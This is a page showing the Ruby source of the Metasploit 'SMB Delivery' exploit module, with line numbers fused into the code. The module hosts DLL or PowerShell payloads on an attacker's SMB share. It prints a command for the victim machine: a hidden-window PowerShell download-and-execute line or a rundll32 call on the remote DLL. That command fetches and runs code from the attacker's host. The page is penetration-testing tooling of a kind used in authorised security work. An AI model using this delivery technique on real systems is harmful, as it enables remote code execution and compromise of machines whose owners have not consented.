Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/smb_delivery.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking89include Msf::Exploit::EXE10include Msf::Exploit::Remote::SMB::Server::Share11include Msf::Exploit::Powershell1213def initialize(info={})14super(update_info(info,15'Name' => "SMB Delivery",16'Description' => %q{17This module serves payloads via an SMB server and provides commands to retrieve18and execute the generated payloads. Currently supports DLLs and Powershell.19},20'License' => MSF_LICENSE,21'Author' =>22[23'Andrew Smith',24'Russel Van Tuyl'25],26'References' =>27[28['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']29],30'Payload' =>31{32'Space' => 2048,33'DisableNops' => true34},35'Platform' => 'win',36'Targets' =>37[38['DLL', {39'Platform' => 'win',40'Arch' => [ARCH_X86, ARCH_X64]41}],42['PSH', {43'Platform' => 'win',44'Arch' => [ARCH_X86, ARCH_X64]45}]46],47'Privileged' => false,48'DisclosureDate' => '2016-07-26',49'DefaultTarget' => 0))5051register_options(52[53OptString.new('FILE_NAME', [ false, 'DLL file name', 'test.dll'])54])55end5657def primer58print_status('Run the following command on the target machine:')59case target.name60when 'PSH'61self.file_contents = cmd_psh_payload( payload.encoded,62payload_instance.arch.first,63remove_comspec: true,64wrap_double_quotes: true)6566download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(unc)67download_and_run = "#{ignore_cert}#{download_string}"68print_line generate_psh_command_line( noprofile: true,69windowstyle: 'hidden',70command: download_and_run)71when 'DLL'72self.file_contents = generate_payload_dll73print_line("rundll32.exe #{unc},0")74end75end76end777879